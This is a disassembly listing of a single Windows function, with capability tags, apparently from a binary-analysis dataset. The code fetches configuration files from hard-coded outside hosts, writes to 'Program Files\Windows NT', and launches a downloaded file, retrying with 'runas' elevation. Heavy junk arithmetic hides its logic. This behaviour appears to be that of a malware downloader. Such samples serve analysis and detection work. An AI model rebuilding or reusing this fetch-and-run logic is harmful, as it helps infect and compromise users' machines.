Function at 0x408950
Capabilities:
Check http status code
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Get file version info
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430e90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x980
mov eax, dword [0x43f350]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
push 0x432e64
mov dword [ebp - 0x14], eax
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x4089aa
push 0x432e64
push str.ver1
push str.test1
push str.wang1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
push 0x432e64
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x4089d8
push 0x432e64
push str.ver1
push str.test1
push str.wang1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40934f
mov dword [ebp - 0x924], 0
lea ecx, [ecx]
lea eax, [ebp - 0x114]
push str.http:__tv.urlservice.cn_ExeIni_sttray.txt
push eax
call fcn.00416ca1
lea ecx, [ebp - 0x91c]
push str.http:__test.hygame8888.cn_ExeIni_sttray.txt
push ecx
call fcn.00416ca1
lea edx, [ebp - 0x518]
push str.http:__edonkeyserver5.8800.org_ExeIni_sttray.txt
push edx
call fcn.00416ca1
lea eax, [ebp - 0x214]
push str.C:Program_FilesWindows_NT_service6.ini
push eax
call fcn.00416ca1
add esp, 0x20
lea ecx, [ebp - 0x214]
push ecx
push 0x100
lea edx, [ebp - 0x314]
push edx
push 0x432d67
push str.bbbbb
push str.info
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x314]
push eax
call fcn.00417ed1
push 0
mov esi, eax
call fcn.00417dce
sub eax, esi
add esp, 8
cmp eax, 0xe10
jl 0x40932f
push 0
call fcn.00417dce
sub eax, 0xce4
push eax
lea ecx, [ebp - 0x314]
push 0x433088
push ecx
call fcn.00416ca1
add esp, 0x10
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x314]
push eax
push str.bbbbb
push str.info
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x518]
push edx
push 0
push 0
push 0
or ebx, 0xffffffff
or esi, 0xffffffff
call fcn.00401a90
mov edi, eax
add esp, 0x14
test edi, edi
je 0x408b49
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push 0
push 0
call fcn.00401a90
mov ebx, eax
add esp, 0x14
test ebx, ebx
je 0x408b49
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x91c]
push eax
push 0
push 0
push 0
call fcn.00401a90
mov esi, eax
add esp, 0x14
test esi, esi
je 0x408b49
lea ecx, [ebp - 0x214]
push 0
push ecx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x40932f
imul esi, ebx
imul esi, edi
test esi, esi
jne 0x408b8c
push esi
call fcn.00417dce
push eax
lea edx, [ebp - 0x314]
push 0x433088
push edx
call fcn.00416ca1
add esp, 0x10
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x314]
push ecx
push str.bbbbb
push str.info
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x43e2c0]
mov edx, dword [0x43e2c4]
xor eax, eax
mov dword [ebp - 0x930], eax
mov dword [ebp + 8], eax
mov esi, ecx
mov eax, 0x6445fc6d
imul esi, esi, 0x946b47
imul edx
mov eax, dword [0x43e2bc]
sar edx, 0x14
imul eax, eax, 0x753dc2
add esi, edx
mov ebx, edx
mov edx, dword [0x43e2c8]
imul edx, edx, 0x754f74
shr ebx, 0x1f
mov edi, dword [str._r_____r____]
add ebx, esi
mov esi, dword [0x43e2d0]
add ebx, edx
add ebx, eax
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul ecx
sar edx, 0x14
mov ecx, edx
add ebx, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x3493ae
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
mov dword [0x43e2dc], ecx
lea ecx, [ebp - 0x214]
push 0
push ecx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x40932f
lea edx, [ebp - 0x214]
push edx
push 0x100
lea eax, [ebp - 0x114]
push eax
push 0x432d67
push str.VersionNO
push str.info
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x114]
push ecx
call fcn.00417ed1
mov ecx, dword [0x43e2d4]
mov esi, dword [0x43e2cc]
mov dword [ebp - 0x920], eax
imul esi, esi, 0xa9e322
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2c0]
sar edx, 0x14
imul ecx, ecx, 0x643bbd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x43e2c8]
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x8d9c64
sub esi, eax
add esi, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
mov eax, ecx
imul eax, eax, 0x450e38
sar edx, 0x14
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
add esp, 4
sub edi, ecx
push 0x101
lea ecx, [ebp - 0x61c]
push ecx
lea eax, [edi + edx - 0x28d92c]
push 0
mov dword [0x43e2c8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x930]
push edx
lea eax, [ebp - 0x61c]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x409054
mov ecx, dword [0x43e2c8]
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov edi, ecx
mov ecx, dword [0x43e2c4]
imul edi, edi, 0x28d92c
sar edx, 0x16
add edi, edx
mov ebx, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, ebx
sub edi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub edi, eax
add edi, edx
lea eax, [edi + ecx + 0x2fa80f]
push esi
mov dword [0x43e2d8], eax
call fcn.004282d4
add esp, 4
mov edi, eax
push edi
push esi
push 0
lea ecx, [ebp - 0x61c]
push ecx
mov dword [ebp - 0x92c], edi
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x408fc3
mov esi, dword [0x43e2c8]
mov edx, dword [0x43e2c0]
imul edx, edx, 0x754f74
mov edi, esi
imul edi, edi, 0x28d92c
add edi, edx
mov ecx, dword [0x43e2d8]
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
mov edx, ecx
imul edx, edx, 0x643bbd
sub edi, edx
add edi, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul esi
add edx, esi
mov esi, dword [0x43e2cc]
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x76a10fbd
imul esi
imul esi, esi, 0x330379
shr ebx, 0x1f
sar edx, 0x15
add ebx, edi
mov edi, dword [str._r_____r____]
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
xor eax, eax
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x934], eax
sub ebx, esi
mov esi, dword [0x43e2d0]
sub ebx, 0x28d92c
mov eax, 0x6445fc6d
imul dword [0x43e2c0]
mov dword [0x43e2d4], ebx
sar edx, 0x14
mov ebx, esi
imul ebx, ebx, 0x946b47
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x43e2bc]
mov edx, edi
imul eax, eax, 0x753dc2
imul edx, edx, 0x754f74
sub ebx, edx
add ebx, eax
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, ecx, 0x3493ae
sub ebx, eax
mov eax, 0x65c6b7f9
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
add esi, ecx
mov ecx, dword [0x43e2c4]
mov edi, dword [ebp - 0x92c]
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x934]
push edx
lea eax, [ebp - 0x928]
push eax
sub esi, ecx
push 0x43304c
sub esi, 0x643bbd
push edi
mov dword [0x43e2c4], esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x408fc3
mov ecx, dword [ebp - 0x928]
mov dx, word [ecx + 0x14]
mov word [ebp + 8], dx
mov esi, dword [0x43e2bc]
mov eax, dword [0x43e2d4]
imul esi, esi, 0x7565e
mov ecx, dword [0x43e2c4]
imul eax, eax, 0x51bcef
add esi, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43e2cc]
sub esi, ecx
imul edx, edx, 0x69275c
mov ecx, dword [str._r_____r____]
mov eax, ecx
imul eax, eax, 0x1412258
add esi, edx
mov edx, dword [0x43e2d0]
add esi, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, 0x3493ae
push edi
mov dword [0x43e2d0], esi
call fcn.004282d9
add esp, 4
mov esi, dword [0x43e2d8]
mov edx, dword [0x43e2bc]
imul esi, esi, 0x754f74
mov ecx, dword [0x43e2d4]
imul edx, edx, 0x74bc7
add esi, edx
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43e2cc]
imul eax, eax, 0x69275c
mov edx, ecx
imul edx, edx, 0x643bbd
add esi, edx
add esi, eax
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2c8]
imul ecx, ecx, 0x679727
sar edx, 0x13
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, ecx
mov ecx, dword [0x43e2dc]
mov eax, 0x51e0e37b
imul ecx
movzx ecx, word [ebp + 8]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x920]
sub edi, 0x643bbd
cmp ecx, eax
mov dword [0x43e2c0], edi
jl 0x409112
lea edx, [ebp - 0x61c]
push 0
push edx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x40932f
lea eax, [ebp - 0x214]
push eax
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0x432d67
push str.VersionURL
push str.info
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409143
sub eax, edx
cmp eax, 5
jb 0x40932f
lea edx, [ebp - 0x114]
push str.filepath
push edx
call fcn.00416e50
add esp, 8
test eax, eax
je 0x40917d
push 8
push str.TestPath
push eax
call fcn.00417ee0
add esp, 0xc
mov esi, dword [0x43e2bc]
mov ebx, dword [0x43e2d8]
mov ecx, dword [0x43e2c8]
imul ebx, ebx, 0x28d92c
mov eax, 0x6445fc6d
imul ecx, ecx, 0x754f74
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x43e2c0]
add ebx, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0x643bbd
mov eax, esi
imul esi, esi, 0x450e38
imul eax, eax, 0x302f8a
sub ebx, edx
mov edx, dword [str._r_____r____]
add ebx, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ebx, eax
add ecx, ebx
push 0
lea ecx, [esi + ecx + 0x450e38]
push str.C:Program_FilesWindows_NT
mov dword [0x43e2cc], ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call fcn.00417dce
push eax
lea edx, [ebp - 0x314]
push str.C:Program_FilesWindows_NT_d
push edx
call fcn.00416ca1
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push 0
push 0
call fcn.00401a90
add esp, 0x24
test eax, eax
jne 0x40932f
mov byte [ebp - 0x81c], al
mov ecx, 0x7f
lea edi, [ebp - 0x81b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x61c]
push edx
stosb byte es:[edi], al
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x81c]
push str._s__version____s_
push ecx
call fcn.00416ca1
add esp, 0x10
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x97c]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x98c]
push edx
lea eax, [ebp - 0x97c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0x81c]
push ecx
push 0
mov dword [ebp - 0x97c], 0x44
mov dword [ebp - 0x950], 1
mov word [ebp - 0x94c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40a633
push 1
push str.C:Program_FilesWindows_NT
push eax
lea edx, [ebp - 0x81c]
push edx
push str.runas
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40a633
mov eax, dword [ebp - 0x924]
inc eax
cmp eax, 1
mov dword [ebp - 0x924], eax
jl 0x4089f0
mov eax, 0xfffffffe
jmp 0x40a635
push 3
push 0x43e2e0
push 0x413d
call fcn.004088e0
add esp, 0xc
test eax, eax
je 0x409371
mov eax, 3
jmp 0x40a635
push 0
call fcn.00417dce
sub eax, dword [0x449310]
add esp, 4
cmp eax, 0x64
jge 0x40939a
mov ecx, 0x64
sub ecx, eax
imul ecx, ecx, 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push str.C:Program_FilesGameVersionUpdate1Config.ini
push 0x100
lea edx, [ebp - 0x114]
push edx
push 0x432d67
push str.LastUpdateTime
push 0x4334dc
call esi
lea eax, [ebp - 0x114]
push eax
call fcn.00417ed1
push 0
mov edi, eax
call fcn.00417dce
sub eax, edi
add esp, 8
cmp eax, 0x7080
jge 0x4093ed
mov eax, 1
jmp 0x40a635
push str.C:Program_FilesNewGameUpdateConfig.ini
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0x432d67
push str.LastUpdateTime
push 0x4334dc
call esi
lea edx, [ebp - 0x114]
push edx
call fcn.00417ed1
push 0
mov esi, eax
call fcn.00417dce
sub eax, esi
add esp, 8
cmp eax, 0x7080
jge 0x40943a
mov eax, 2
jmp 0x40a635
push 0
push str.C:Program_FilesNewGameUpdate
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [0x43e2c0]
mov edx, dword [0x43e2c4]
mov esi, ecx
mov eax, 0x6445fc6d
imul esi, esi, 0x946b47
imul edx
mov eax, dword [0x43e2c8]
imul eax, eax, 0x754f74
sar edx, 0x14
add esi, edx
mov ebx, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x753dc2
mov edi, dword [str._r_____r____]
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x43e2d0]
add ebx, eax
add ebx, edx
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul ecx
sar edx, 0x14
mov ecx, edx
add ebx, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x3493ae
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
mov dword [0x43e2dc], ecx
lea ecx, [ebp - 0x214]
push str.C:Program_FilesNewGameUpdateConfig.ini
push ecx
call fcn.00416ca1
add esp, 8
lea edx, [ebp - 0x214]
push edx
push 0x100
lea eax, [ebp - 0x114]
push eax
push 0x432d67
push str.LastUpdateTime2
push 0x4334dc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x114]
push ecx
call fcn.00417ed1
push 0
mov esi, eax
call fcn.00417dce
sub eax, esi
add esp, 8
cmp eax, 0xe10
jl 0x409c9a
mov ecx, dword [0x43e2c8]
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
mov esi, ecx
imul esi, esi, 0x28d92c
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x43e2c4]
mov eax, 0x8ba9e88d
imul esi
add edx, esi
sar edx, 0x16
add edi, edx
mov ebx, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x51bab243
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub ebx, eax
add ebx, edx
imul esi, esi, 0x679728
lea esi, [ebx + esi + 0x2fa80f]
mov dword [0x43e2d8], esi
mov dword [ebp - 0x928], 0
jmp 0x409600
mov ecx, dword [0x43e2c8]
mov esi, dword [0x43e2d8]
jmp 0x409600
mov eax, dword [0x43e2c0]
imul eax, eax, 0x754f74
mov edi, ecx
imul edi, edi, 0x28d92c
add edi, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
mov edx, esi
imul edx, edx, 0x643bbd
sub edi, edx
add edi, eax
mov eax, 0x65c6b7f9
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x15
add edi, edx
mov esi, edx
mov eax, 0x76a10fbd
imul ecx
imul ecx, ecx, 0x330379
sar edx, 0x15
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
mov edx, dword [str._r_____r____]
mov eax, 0x51e0e37b
imul edx
sar edx, 0x15
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
sub edi, ecx
lea ecx, [ebp - 0x214]
push ecx
push str.http:__edonkeyserver5.8800.org_C8C_INI_GameVersionUpdate2.txt
push 0
push 0
sub edi, 0x28d92c
push 0
mov dword [0x43e2d4], edi
call fcn.00401a90
add esp, 0x14
test eax, eax
mov dword [ebp + 8], eax
je 0x409778
mov esi, dword [0x43e2bc]
mov edx, dword [0x43e2d4]
imul esi, esi, 0x7565e
mov ecx, dword [0x43e2c4]
imul edx, edx, 0x51bcef
add esi, edx
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x14
imul ecx, ecx, 0x69275c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x1412258
add esi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x214]
push edx
push str.http:__tv.urlservice.cn_C8C_INI_GameVersionUpdate2.txt
push 0
sub esi, ecx
push 0
sub esi, 0x3493ae
push 0
mov dword [0x43e2d0], esi
call fcn.00401a90
add esp, 0x14
mov dword [ebp + 8], eax
mov esi, dword [0x43e2bc]
mov edi, dword [0x43e2c8]
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, esi
imul eax, eax, 0x302f8a
mov dword [ebp - 0x924], eax
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x8ba9e88d
imul edi
add edx, edi
mov ecx, edi
imul ecx, ecx, 0x28d92c
sar edx, 0x16
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0x920], eax
mov eax, 0x8ba9e88d
imul dword [0x43e2c4]
add edx, dword [0x43e2c4]
mov eax, dword [ebp - 0x920]
sar edx, 0x16
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x51bab243
imul dword [0x43e2c4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2c4]
imul edx, edx, 0x679728
sub ecx, eax
mov eax, dword [ebp - 0x924]
add ecx, edx
sub ecx, ebx
lea ecx, [ecx + eax + 0x2fa80f]
mov eax, dword [ebp + 8]
test eax, eax
mov dword [0x43e2d8], ecx
je 0x4099e9
imul ecx, ecx, 0x28d92c
imul edi, edi, 0x754f74
mov eax, 0x6445fc6d
imul esi
imul esi, esi, 0x450e38
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
mov edi, dword [0x43e2c0]
mov edx, edi
imul edx, edx, 0x643bbd
sub ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x43e2d0]
imul eax, eax, 0x3493ae
add ecx, eax
mov eax, dword [ebp - 0x924]
add ecx, esi
sub ecx, ebx
lea edx, [ebp - 0x214]
push edx
push 0x100
add ecx, eax
lea eax, [ebp - 0x518]
push eax
push 0x432d67
push str.Config_URL
lea ecx, [ecx + edi + 0x450e38]
push 0x4334dc
mov dword [0x43e2cc], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x518]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4098f0
sub eax, ecx
cmp eax, 5
jae 0x4099b8
mov ecx, dword [0x43e2d4]
mov esi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul esi, esi, 0xa9e322
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43e2c0]
imul edx, edx, 0x643bbd
sub esi, ecx
mov ecx, dword [0x43e2c8]
add esi, edx
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x8d9c64
sub esi, eax
add esi, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
mov eax, ecx
imul eax, eax, 0x450e38
sar edx, 0x14
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
sub edi, ecx
lea ecx, [ebp - 0x518]
lea eax, [edi + edx - 0x28d92c]
push str.http:__test.hygame8888.cn_c8c_ini_GameVersionUpdate2.txt
push ecx
mov dword [0x43e2c8], eax
call fcn.00416ca1
add esp, 8
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x518]
push eax
push 0
push 0
push 0
call fcn.00401a90
mov esi, dword [0x43e2bc]
mov edi, dword [0x43e2c8]
mov ecx, dword [0x43e2d8]
add esp, 0x14
mov dword [ebp + 8], eax
mov eax, dword [0x43e2d0]
imul eax, eax, 0x946b47
mov dword [ebp - 0x920], eax
mov eax, 0x6445fc6d
imul dword [0x43e2c0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x920]
sub edx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x754f74
sub edx, eax
mov eax, esi
imul eax, eax, 0x753dc2
add edx, eax
mov dword [ebp - 0x920], edx
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x920]
sub edx, eax
mov dword [ebp - 0x920], edx
mov eax, 0x65c6b7f9
imul dword [0x43e2d0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x920]
sub edx, eax
mov dword [ebp - 0x920], edx
mov eax, 0x278a52fb
imul dword [str._r_____r____]
mov eax, dword [ebp - 0x920]
sar edx, 0x14
add eax, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x3493ae
shr ebx, 0x1f
add ebx, eax
add ebx, edx
mov eax, 0x9bcf58cb
imul dword [0x43e2c4]
add edx, dword [0x43e2c4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp + 8]
sub ebx, 0x643bbd
test eax, eax
mov dword [0x43e2c4], ebx
je 0x409b04
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x928]
inc eax
cmp eax, 0x1e
mov dword [ebp - 0x928], eax
jl 0x4095ef
mov esi, dword [0x43e2bc]
mov edi, dword [0x43e2c8]
mov ecx, dword [0x43e2d8]
mov edx, dword [0x43e2c0]
imul edx, edx, 0x754f74
mov ebx, edi
imul ebx, ebx, 0x28d92c
add ebx, edx
mov eax, 0x321c7f55
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
mov edx, ecx
imul edx, edx, 0x643bbd
sub ebx, edx
add ebx, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9bcf58cb
imul edi
add edx, edi
sar edx, 0x15
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0x920], eax
mov eax, 0x76a10fbd
imul dword [0x43e2cc]
mov eax, dword [ebp - 0x920]
sar edx, 0x15
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x51e0e37b
imul dword [str._r_____r____]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x330379
sub ebx, eax
mov eax, dword [ebp + 8]
sub ebx, edx
sub ebx, 0x28d92c
test eax, eax
mov dword [0x43e2d4], ebx
jne 0x409ca6
sub ecx, dword [str._r_____r____]
imul ecx, ecx, 0x754f74
mov eax, esi
imul eax, eax, 0x28d92c
add ecx, eax
mov edi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul esi
imul esi, esi, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edi, edi, 0x3493ae
imul edx, edx, 0x643bbd
add ecx, edx
mov eax, 0x65c6b7f9
imul dword [0x43e2d0]
sar edx, 0x13
mov eax, edx
add ecx, esi
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9bcf58cb
imul ebx
add edx, ebx
sar edx, 0x15
add ecx, edx
mov esi, edx
mov eax, 0x51e0e37b
imul ebx
shr esi, 0x1f
add esi, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, edi
sub esi, ecx
lea edx, [esi + ebx - 0x643bbd]
push 0
